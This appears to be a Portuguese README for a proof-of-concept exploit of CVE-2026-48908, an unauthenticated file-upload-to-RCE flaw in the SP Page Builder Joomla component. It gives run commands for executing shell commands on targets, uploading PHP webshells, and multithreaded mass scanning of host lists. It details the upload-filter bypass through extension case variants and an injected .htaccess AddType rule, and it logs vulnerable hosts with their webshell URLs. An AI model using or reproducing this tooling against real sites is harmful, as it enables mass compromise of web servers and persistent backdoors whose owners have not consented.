
PoC de RCE sem autenticação para CVE-2026-48908 SP Page Builder (Joomla) exploit de upload arbitrário de arquivos e execução remota de código com suporte a varredura em massa.
SP Page Builder (com_sppagebuilder) para Joomla ≤ 6.6.1 permite que atacantes não autenticados carreguem arquivos arbitrários e obtenham Execução Remota de Código.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Controle de Acesso Incorreto) |
| Componente | SP Page Builder (com_sppagebuilder) |
| Afetado | 1.0.0 – 6.6.1 |
| Corrigido em | 6.6.2 |
| Privilégios | Nenhum (pré-autenticação) |
| Interação do usuário | Nenhuma |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # apenas sonda, sem comando
python3 exploit_poc.py https://target.example --token abc123 # token personalizado
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 threads paralelas
python3 exploit_poc.py --hosts ips.txt --no-verbose # modo silencioso
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Nota: Ao usar
--shell-file, o script apenas carrega o webshell e informa a URL. Ele não executa o comando-cnem realiza qualquer teste de execução. O shell carregado deve lidar com a entrada de comando de forma independente.



Após uma varredura, cinco arquivos de resultado são salvos:
O exploit abusa da tarefa asset.uploadCustomIcon do com_sppagebuilder:
/media/com_sppagebuilder/assets/iconfont/<nome>/fonts/.O script tenta várias extensões PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) até encontrar uma que execute.
Quando as extensões PHP diretas são bloqueadas pelo filtro do SPPB, o script coloca um arquivo .htaccess junto com o payload:
AddType application/x-httpd-php .PHP
Isso força o servidor web a tratar .PHP (maiúsculo) como PHP — contornando a lista de bloqueio sensível a maiúsculas/minúsculas do SPPB. Requer AllowOverride ativado e execução PHP permitida em /media.
Nota: A técnica de contorno com
.htaccess+.PHPmaiúsculo pode não funcionar em todas as configurações. Se falhar, tente usar extensões.pngou.jpeg. Em servidores comAllowOverridedesabilitado ou execução PHP bloqueada em/media, até mesmo shells carregados não serão executados (relatado como 'somente gravação').
Este PoC é baseado em https://github.com/papageo75/CVE-2026-48908-PoC/ com as seguintes adições:
Algumas respostas do servidor podem conter prefixos não-JSON (por exemplo, expressões cron ou outros lixos) antes do payload JSON real. O PoC original falhava em r.json() ao analisar tais respostas. Esta versão procura pelo primeiro caractere { e tenta decodificar a substring JSON:
Antes:
try:
data = r.json()
except ValueError:
return None
Depois:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Exemplo — resposta JSON válida:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "[\"ico ico-x\"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Exemplo — resposta não-JSON (lixo prefixado antes do JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Adicionada capacidade de varredura em massa com múltiplas threads:
--hosts <arquivo> — carregar alvos de um arquivo (um por linha)-j, --threads <n> — definir número de threads paralelas (padrão: 10)--no-verbose — suprimir saída detalhada por host.txt categorizadosAdicionada opção --shell-file <caminho> para carregar um webshell PHP personalizado em vez do shell protegido por token embutido. Ao usar esta opção:
-crun()) é realizadocustom_shell_hosts.txtAPENAS USO AUTORIZADO. Apenas para testes de penetração sancionados, CTF e alvos de laboratório. Você é o único responsável pela forma como usa esta ferramenta.
| Sinalizador | Descrição |
|---|
url | URL alvo (posicional ou --url) |
--hosts <arquivo> | Arquivo com um host por linha |
-c, --cmd <comando> | Comando a executar (padrão: id) |
--check | Apenas sondagem, não executar comando |
--token <token> | Segredo que protege o shell carregado (padrão: aleatório) |
--shell-file <caminho> | Carregar um webshell PHP personalizado em vez do embutido |
-j, --threads <n> | Threads paralelas para varredura em massa (padrão: 10) |
--no-verbose | Suprimir saída detalhada por host |
| Arquivo | Conteúdo |
|---|
vulnerable_hosts.txt | Hosts com RCE confirmada + URLs de webshell |
not_vulnerable_hosts.txt | Hosts que estão corrigidos ou ausentes |
partial_vulnerable_hosts.txt | Hosts com escrita de arquivo, mas sem execução PHP |
custom_shell_hosts.txt | Hosts com shell personalizado carregado, agrupados por URL base (gerado apenas ao usar --shell-file) |
scan_results.json | Resultados JSON completos para todos os hosts |